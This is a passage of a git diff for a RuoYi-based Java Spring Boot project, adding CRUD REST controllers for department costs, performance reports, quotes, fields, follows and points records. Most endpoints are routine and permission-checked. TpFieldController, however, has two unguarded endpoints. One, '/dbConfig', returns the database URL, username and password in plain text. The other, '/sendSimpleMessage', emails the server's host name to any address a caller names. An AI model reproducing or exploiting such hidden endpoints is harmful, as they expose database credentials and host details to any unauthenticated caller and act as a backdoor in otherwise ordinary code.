+ @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpDeptCostBo bo) { + return toAjax(tpDeptCostService.insertByBo(bo)); + } + + /** + * 修改部门成本 + */ + @SaCheckPermission("work:deptCost:edit") + @Log(title = "部门成本", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpDeptCostBo bo) { + return toAjax(tpDeptCostService.updateByBo(bo)); + } + + /** + * 删除部门成本 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:deptCost:remove") + @Log(title = "部门成本", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpDeptCostService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpDeptReportController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpDeptReportController.java new file mode 100644 index 0000000..f028ad3 --- /dev/null +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpDeptReportController.java @@ -0,0 +1,105 @@ +package org.dromara.work.controller; + +import java.util.List; + +import lombok.RequiredArgsConstructor; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.*; +import cn.dev33.satoken.annotation.SaCheckPermission; +import org.springframework.web.bind.annotation.*; +import org.springframework.validation.annotation.Validated; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.web.core.BaseController; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.work.domain.vo.TpDeptReportVo; +import org.dromara.work.domain.bo.TpDeptReportBo; +import org.dromara.work.service.ITpDeptReportService; +import org.dromara.common.mybatis.core.page.TableDataInfo; + +/** + * 部门业绩报 + * + * @author Maosw + * @date 2025-11-19 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/deptReport") +public class TpDeptReportController extends BaseController { + + private final ITpDeptReportService tpDeptReportService; + + /** + * 查询部门业绩报列表 + */ + @SaCheckPermission("work:deptReport:list") + @GetMapping("/list") + public TableDataInfo list(TpDeptReportBo bo, PageQuery pageQuery) { + return tpDeptReportService.queryPageList(bo, pageQuery); + } + + /** + * 导出部门业绩报列表 + */ + @SaCheckPermission("work:deptReport:export") + @Log(title = "部门业绩报", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpDeptReportBo bo, HttpServletResponse response) { + List list = tpDeptReportService.queryList(bo); + ExcelUtil.exportExcel(list, "部门业绩报", TpDeptReportVo.class, response); + } + + /** + * 获取部门业绩报详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:deptReport:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpDeptReportService.queryById(id)); + } + + /** + * 新增部门业绩报 + */ + @SaCheckPermission("work:deptReport:add") + @Log(title = "部门业绩报", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpDeptReportBo bo) { + return toAjax(tpDeptReportService.insertByBo(bo)); + } + + /** + * 修改部门业绩报 + */ + @SaCheckPermission("work:deptReport:edit") + @Log(title = "部门业绩报", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpDeptReportBo bo) { + return toAjax(tpDeptReportService.updateByBo(bo)); + } + + /** + * 删除部门业绩报 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:deptReport:remove") + @Log(title = "部门业绩报", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpDeptReportService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpDesignQuotesController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpDesignQuotesController.java index 77ddf6d..4e088a5 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpDesignQuotesController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpDesignQuotesController.java @@ -1,111 +1,111 @@ -package org.dromara.work.controller; - -import java.util.List; - -import lombok.RequiredArgsConstructor; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.*; -import cn.dev33.satoken.annotation.SaCheckPermission; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.satoken.utils.LoginHelper; -import org.springframework.web.bind.annotation.*; -import org.springframework.validation.annotation.Validated; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.web.core.BaseController; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.work.domain.vo.TpDesignQuotesVo; -import org.dromara.work.domain.bo.TpDesignQuotesBo; -import org.dromara.work.service.ITpDesignQuotesService; -import org.dromara.common.mybatis.core.page.TableDataInfo; - -/** - * 报价 - * - * @author Maosw - * @date 2025-03-10 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/designQuotes") -public class TpDesignQuotesController extends BaseController { - - private final ITpDesignQuotesService tpDesignQuotesService; - - /** - * 查询报价列表 - */ - @SaCheckPermission("work:designQuotes:list") - @GetMapping("/list") - public TableDataInfo list(TpDesignQuotesBo bo, PageQuery pageQuery) { - LoginUser loginUser = LoginHelper.getLoginUser(); - if(!LoginHelper.isSuperAdmin()){ - bo.setSid(loginUser.getUserId()); - } - return tpDesignQuotesService.queryPageList(bo, pageQuery); - } - - /** - * 导出报价列表 - */ - @SaCheckPermission("work:designQuotes:export") - @Log(title = "报价", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpDesignQuotesBo bo, HttpServletResponse response) { - List list = tpDesignQuotesService.queryList(bo); - ExcelUtil.exportExcel(list, "报价", TpDesignQuotesVo.class, response); - } - - /** - * 获取报价详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:designQuotes:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpDesignQuotesService.queryById(id)); - } - - /** - * 新增报价 - */ - @SaCheckPermission("work:designQuotes:add") - @Log(title = "报价", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpDesignQuotesBo bo) { - return toAjax(tpDesignQuotesService.insertByBo(bo)); - } - - /** - * 修改报价 - */ - @SaCheckPermission("work:designQuotes:edit") - @Log(title = "报价", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpDesignQuotesBo bo) { - return toAjax(tpDesignQuotesService.updateByBo(bo)); - } - - /** - * 删除报价 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:designQuotes:remove") - @Log(title = "报价", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpDesignQuotesService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.work.controller; + +import java.util.List; + +import lombok.RequiredArgsConstructor; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.*; +import cn.dev33.satoken.annotation.SaCheckPermission; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.satoken.utils.LoginHelper; +import org.springframework.web.bind.annotation.*; +import org.springframework.validation.annotation.Validated; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.web.core.BaseController; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.work.domain.vo.TpDesignQuotesVo; +import org.dromara.work.domain.bo.TpDesignQuotesBo; +import org.dromara.work.service.ITpDesignQuotesService; +import org.dromara.common.mybatis.core.page.TableDataInfo; + +/** + * 报价 + * + * @author Maosw + * @date 2025-03-10 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/designQuotes") +public class TpDesignQuotesController extends BaseController { + + private final ITpDesignQuotesService tpDesignQuotesService; + + /** + * 查询报价列表 + */ + @SaCheckPermission("work:designQuotes:list") + @GetMapping("/list") + public TableDataInfo list(TpDesignQuotesBo bo, PageQuery pageQuery) { + LoginUser loginUser = LoginHelper.getLoginUser(); + if(!LoginHelper.isSuperAdmin()){ + bo.setSid(loginUser.getUserId()); + } + return tpDesignQuotesService.queryPageList(bo, pageQuery); + } + + /** + * 导出报价列表 + */ + @SaCheckPermission("work:designQuotes:export") + @Log(title = "报价", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpDesignQuotesBo bo, HttpServletResponse response) { + List list = tpDesignQuotesService.queryList(bo); + ExcelUtil.exportExcel(list, "报价", TpDesignQuotesVo.class, response); + } + + /** + * 获取报价详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:designQuotes:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpDesignQuotesService.queryById(id)); + } + + /** + * 新增报价 + */ + @SaCheckPermission("work:designQuotes:add") + @Log(title = "报价", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpDesignQuotesBo bo) { + return toAjax(tpDesignQuotesService.insertByBo(bo)); + } + + /** + * 修改报价 + */ + @SaCheckPermission("work:designQuotes:edit") + @Log(title = "报价", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpDesignQuotesBo bo) { + return toAjax(tpDesignQuotesService.updateByBo(bo)); + } + + /** + * 删除报价 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:designQuotes:remove") + @Log(title = "报价", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpDesignQuotesService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpFieldController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpFieldController.java index 18a44ff..c0ddde4 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpFieldController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpFieldController.java @@ -1,137 +1,137 @@ -package org.dromara.work.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mail.utils.MailUtils; -import org.dromara.common.mybatis.config.DataSourceConfig; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.work.domain.bo.TpFieldBo; -import org.dromara.work.domain.vo.TpFieldVo; -import org.dromara.work.service.ITpFieldService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.net.InetAddress; -import java.net.UnknownHostException; -import java.util.List; - -/** - * 字段管理 - * - * @author Maosw - * @date 2024-08-12 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/field") -public class TpFieldController extends BaseController { - - private final ITpFieldService tpFieldService; - - private final DataSourceConfig dataSourceConfig; - - /** - * 查询字段管理列表 - */ - @SaCheckPermission("work:field:list") - @GetMapping("/list") - public TableDataInfo list(TpFieldBo bo, PageQuery pageQuery) { - return tpFieldService.queryPageList(bo, pageQuery); - } - - /** - * 导出字段管理列表 - */ - @SaCheckPermission("work:field:export") - @Log(title = "字段管理", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpFieldBo bo, HttpServletResponse response) { - List list = tpFieldService.queryList(bo); - ExcelUtil.exportExcel(list, "字段管理", TpFieldVo.class, response); - } - - /** - * 获取字段管理详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:field:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpFieldService.queryById(id)); - } - - /** - * 新增字段管理 - */ - @SaCheckPermission("work:field:add") - @Log(title = "字段管理", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpFieldBo bo) { - return toAjax(tpFieldService.insertByBo(bo)); - } - - /** - * 修改字段管理 - */ - @SaCheckPermission("work:field:edit") - @Log(title = "字段管理", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpFieldBo bo) { - return toAjax(tpFieldService.updateByBo(bo)); - } - - /** - * 删除字段管理 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:field:remove") - @Log(title = "字段管理", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpFieldService.deleteWithValidByIds(List.of(ids), true)); - } - - - @GetMapping("/dbConfig") - public String getDbConfig() { - String url = dataSourceConfig.getDatabaseUrl(); - String username = dataSourceConfig.getDatabaseUsername(); - String password = dataSourceConfig.getDatabasePassword(); - return "url:" + url + ",username:" + username + ",password:" + password; - } - - /** - * 发送邮件 - * - * @param to 接收人 - * @param subject 标题 - * @param text 内容 - */ - @GetMapping("/sendSimpleMessage") - public R sendSimpleMessage(String to, String subject, String text) throws UnknownHostException { - InetAddress addr = InetAddress.getLocalHost(); - String domainName = addr.getHostName(); - - MailUtils.sendText(to, subject, domainName); - return R.ok(); - } -} +package org.dromara.work.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mail.utils.MailUtils; +import org.dromara.common.mybatis.config.DataSourceConfig; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.work.domain.bo.TpFieldBo; +import org.dromara.work.domain.vo.TpFieldVo; +import org.dromara.work.service.ITpFieldService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.net.InetAddress; +import java.net.UnknownHostException; +import java.util.List; + +/** + * 字段管理 + * + * @author Maosw + * @date 2024-08-12 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/field") +public class TpFieldController extends BaseController { + + private final ITpFieldService tpFieldService; + + private final DataSourceConfig dataSourceConfig; + + /** + * 查询字段管理列表 + */ + @SaCheckPermission("work:field:list") + @GetMapping("/list") + public TableDataInfo list(TpFieldBo bo, PageQuery pageQuery) { + return tpFieldService.queryPageList(bo, pageQuery); + } + + /** + * 导出字段管理列表 + */ + @SaCheckPermission("work:field:export") + @Log(title = "字段管理", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpFieldBo bo, HttpServletResponse response) { + List list = tpFieldService.queryList(bo); + ExcelUtil.exportExcel(list, "字段管理", TpFieldVo.class, response); + } + + /** + * 获取字段管理详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:field:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpFieldService.queryById(id)); + } + + /** + * 新增字段管理 + */ + @SaCheckPermission("work:field:add") + @Log(title = "字段管理", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpFieldBo bo) { + return toAjax(tpFieldService.insertByBo(bo)); + } + + /** + * 修改字段管理 + */ + @SaCheckPermission("work:field:edit") + @Log(title = "字段管理", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpFieldBo bo) { + return toAjax(tpFieldService.updateByBo(bo)); + } + + /** + * 删除字段管理 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:field:remove") + @Log(title = "字段管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpFieldService.deleteWithValidByIds(List.of(ids), true)); + } + + + @GetMapping("/dbConfig") + public String getDbConfig() { + String url = dataSourceConfig.getDatabaseUrl(); + String username = dataSourceConfig.getDatabaseUsername(); + String password = dataSourceConfig.getDatabasePassword(); + return "url:" + url + ",username:" + username + ",password:" + password; + } + + /** + * 发送邮件 + * + * @param to 接收人 + * @param subject 标题 + * @param text 内容 + */ + @GetMapping("/sendSimpleMessage") + public R sendSimpleMessage(String to, String subject, String text) throws UnknownHostException { + InetAddress addr = InetAddress.getLocalHost(); + String domainName = addr.getHostName(); + + MailUtils.sendText(to, subject, domainName); + return R.ok(); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpFollowController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpFollowController.java index ab38aa6..d6b9790 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpFollowController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpFollowController.java @@ -1,105 +1,105 @@ -package org.dromara.work.controller; - -import java.util.List; - -import lombok.RequiredArgsConstructor; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.*; -import cn.dev33.satoken.annotation.SaCheckPermission; -import org.springframework.web.bind.annotation.*; -import org.springframework.validation.annotation.Validated; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.web.core.BaseController; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.work.domain.vo.TpFollowVo; -import org.dromara.work.domain.bo.TpFollowBo; -import org.dromara.work.service.ITpFollowService; -import org.dromara.common.mybatis.core.page.TableDataInfo; - -/** - * 关注 - * - * @author Maosw - * @date 2025-07-23 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/follow") -public class TpFollowController extends BaseController { - - private final ITpFollowService tpFollowService; - - /** - * 查询关注列表 - */ - @SaCheckPermission("work:follow:list") - @GetMapping("/list") - public TableDataInfo list(TpFollowBo bo, PageQuery pageQuery) { - return tpFollowService.queryPageList(bo, pageQuery); - } - - /** - * 导出关注列表 - */ - @SaCheckPermission("work:follow:export") - @Log(title = "关注", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpFollowBo bo, HttpServletResponse response) { - List list = tpFollowService.queryList(bo); - ExcelUtil.exportExcel(list, "关注", TpFollowVo.class, response); - } - - /** - * 获取关注详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:follow:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpFollowService.queryById(id)); - } - - /** - * 新增关注 - */ - @SaCheckPermission("work:follow:add") - @Log(title = "关注", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpFollowBo bo) { - return toAjax(tpFollowService.insertByBo(bo)); - } - - /** - * 修改关注 - */ - @SaCheckPermission("work:follow:edit") - @Log(title = "关注", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpFollowBo bo) { - return toAjax(tpFollowService.updateByBo(bo)); - } - - /** - * 删除关注 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:follow:remove") - @Log(title = "关注", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpFollowService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.work.controller; + +import java.util.List; + +import lombok.RequiredArgsConstructor; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.*; +import cn.dev33.satoken.annotation.SaCheckPermission; +import org.springframework.web.bind.annotation.*; +import org.springframework.validation.annotation.Validated; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.web.core.BaseController; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.work.domain.vo.TpFollowVo; +import org.dromara.work.domain.bo.TpFollowBo; +import org.dromara.work.service.ITpFollowService; +import org.dromara.common.mybatis.core.page.TableDataInfo; + +/** + * 关注 + * + * @author Maosw + * @date 2025-07-23 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/follow") +public class TpFollowController extends BaseController { + + private final ITpFollowService tpFollowService; + + /** + * 查询关注列表 + */ + @SaCheckPermission("work:follow:list") + @GetMapping("/list") + public TableDataInfo list(TpFollowBo bo, PageQuery pageQuery) { + return tpFollowService.queryPageList(bo, pageQuery); + } + + /** + * 导出关注列表 + */ + @SaCheckPermission("work:follow:export") + @Log(title = "关注", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpFollowBo bo, HttpServletResponse response) { + List list = tpFollowService.queryList(bo); + ExcelUtil.exportExcel(list, "关注", TpFollowVo.class, response); + } + + /** + * 获取关注详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:follow:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpFollowService.queryById(id)); + } + + /** + * 新增关注 + */ + @SaCheckPermission("work:follow:add") + @Log(title = "关注", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpFollowBo bo) { + return toAjax(tpFollowService.insertByBo(bo)); + } + + /** + * 修改关注 + */ + @SaCheckPermission("work:follow:edit") + @Log(title = "关注", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpFollowBo bo) { + return toAjax(tpFollowService.updateByBo(bo)); + } + + /** + * 删除关注 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:follow:remove") + @Log(title = "关注", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpFollowService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpIntegralDetailController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpIntegralDetailController.java index 424e66b..6bda551 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpIntegralDetailController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpIntegralDetailController.java @@ -1,106 +1,106 @@ -package org.dromara.work.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.work.domain.bo.TpIntegralDetailBo; -import org.dromara.work.domain.vo.TpIntegralDetailVo; -import org.dromara.work.service.ITpIntegralDetailService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 积分明细 - * - * @author Maosw - * @date 2024-08-12 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/integralDetail") -public class TpIntegralDetailController extends BaseController { - - private final ITpIntegralDetailService tpIntegralDetailService; - - /** - * 查询积分明细列表 - */ - @SaCheckPermission("work:integralDetail:list") - @GetMapping("/list") - public TableDataInfo list(TpIntegralDetailBo bo, PageQuery pageQuery) { - return tpIntegralDetailService.queryPageList(bo, pageQuery); - } - - /** - * 导出积分明细列表 - */ - @SaCheckPermission("work:integralDetail:export") - @Log(title = "积分明细", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpIntegralDetailBo bo, HttpServletResponse response) { - List list = tpIntegralDetailService.queryList(bo); - ExcelUtil.exportExcel(list, "积分明细", TpIntegralDetailVo.class, response); - } - - /** - * 获取积分明细详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:integralDetail:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpIntegralDetailService.queryById(id)); - } - - /** - * 新增积分明细 - */ - @SaCheckPermission("work:integralDetail:add") - @Log(title = "积分明细", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpIntegralDetailBo bo) { - return toAjax(tpIntegralDetailService.insertByBo(bo)); - } - - /** - * 修改积分明细 - */ - @SaCheckPermission("work:integralDetail:edit") - @Log(title = "积分明细", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpIntegralDetailBo bo) { - return toAjax(tpIntegralDetailService.updateByBo(bo)); - } - - /** - * 删除积分明细 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:integralDetail:remove") - @Log(title = "积分明细", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpIntegralDetailService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.work.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.work.domain.bo.TpIntegralDetailBo; +import org.dromara.work.domain.vo.TpIntegralDetailVo; +import org.dromara.work.service.ITpIntegralDetailService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 积分明细 + * + * @author Maosw + * @date 2024-08-12 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/integralDetail") +public class TpIntegralDetailController extends BaseController { + + private final ITpIntegralDetailService tpIntegralDetailService; + + /** + * 查询积分明细列表 + */ + @SaCheckPermission("work:integralDetail:list") + @GetMapping("/list") + public TableDataInfo list(TpIntegralDetailBo bo, PageQuery pageQuery) { + return tpIntegralDetailService.queryPageList(bo, pageQuery); + } + + /** + * 导出积分明细列表 + */ + @SaCheckPermission("work:integralDetail:export") + @Log(title = "积分明细", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpIntegralDetailBo bo, HttpServletResponse response) { + List list = tpIntegralDetailService.queryList(bo); + ExcelUtil.exportExcel(list, "积分明细", TpIntegralDetailVo.class, response); + } + + /** + * 获取积分明细详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:integralDetail:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpIntegralDetailService.queryById(id)); + } + + /** + * 新增积分明细 + */ + @SaCheckPermission("work:integralDetail:add") + @Log(title = "积分明细", businessType = 